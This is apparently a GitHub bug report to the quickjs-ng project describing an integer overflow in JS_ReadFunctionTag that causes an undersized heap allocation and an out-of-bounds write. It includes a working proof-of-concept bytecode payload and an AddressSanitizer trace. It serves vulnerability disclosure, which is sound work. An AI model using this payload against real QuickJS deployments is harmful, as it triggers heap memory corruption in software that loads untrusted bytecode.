Skip to content

Integer Overflow in JS_ReadFunctionTag causing later OOB write #1379

@zzjas

Description

@zzjas

JS_ReadFunctionTag in quickjs.c reads length fields from user-provided bytecode stream without bounds validation. A crafted local_count value causes a signed integer overflow in the function_size calculation, resulting in an undersized heap allocation followed by an out-of-bounds write.

Unchecked reads, size calculation, and memory allocation:
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38023-L38040

Here js_mallocz will be called with the overflowed, undersized value.

Later a loop iterates over the undersized buffer causing oob write:
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38079

PoC

var payload = [
    0x17,             // BC_VERSION
    0x00,             // atom_count = 0
    0x0c,             // BC_TAG_FUNCTION_BYTECODE
    0x00, 0x00,       // flags u16 (no debug_info)
    0x00,             // is_strict_mode
    0x00,             // func_name (atom 0 = JS_ATOM_NULL)
    0x00,             // arg_count
    0x00,             // var_count
    0x00,             // defined_arg_count
    0x00,             // stack_size
    0x00,             // var_ref_count
    0x00,             // closure_var_count
    0x00,             // cpool_count
    0x00,             // byte_code_len
    // local_count = 0x40000000 (LEB128 encoding)
    0x80, 0x80, 0x80, 0x80, 0x04,
    // first vardef entry — will be written OOB into heap (0 bytes past alloc end)
    0x00,             // var_name atom (triggers OOB WRITE via bc_idx_to_atom)
    0x00,             // scope_level
    0x00,             // scope_next
    0x00,             // flags
];

var buf = new Uint8Array(payload).buffer;
bjson.read(buf, 0, buf.byteLength, bjson.READ_OBJ_BYTECODE);

ASan:

==2187==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50d0000045d8 at pc 0x56444bd9e922 bp 0x7ffed387c5f0 sp 0x7ffed387c5e8
WRITE of size 4 at 0x50d0000045d8 thread T0
    #0 0x56444bd9e921 in bc_idx_to_atom .../quickjs/quickjs.c:37784:12
    #1 0x56444bd9e921 in bc_get_atom .../quickjs/quickjs.c:37797:16
    #2 0x56444bd9b758 in JS_ReadFunctionTag .../quickjs/quickjs.c:38081:17
    #3 0x56444bd1bddf in JS_ReadObjectRec .../quickjs/quickjs.c:38689:15
    #4 0x56444bd1adab in JS_ReadObject2 .../quickjs/quickjs.c:38866:15
    #5 0x56444bca9936 in js_bjson_read .../quickjs/quickjs-libc.c:4935:11
    #6 0x56444bcac592 in js_call_c_function .../quickjs/quickjs.c:17143:19
    #7 0x56444bcef798 in JS_CallInternal .../quickjs/quickjs.c:17359:16
    #8 0x56444bcf3313 in JS_CallInternal .../quickjs/quickjs.c:17817:27
    #9 0x56444bdc9f78 in async_func_resume .../quickjs/quickjs.c:20257:12
    #10 0x56444bdc9f78 in js_async_function_resume .../quickjs/quickjs.c:20512:16
    ...

Thanks for looking into this and we appreciate any feedback!

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions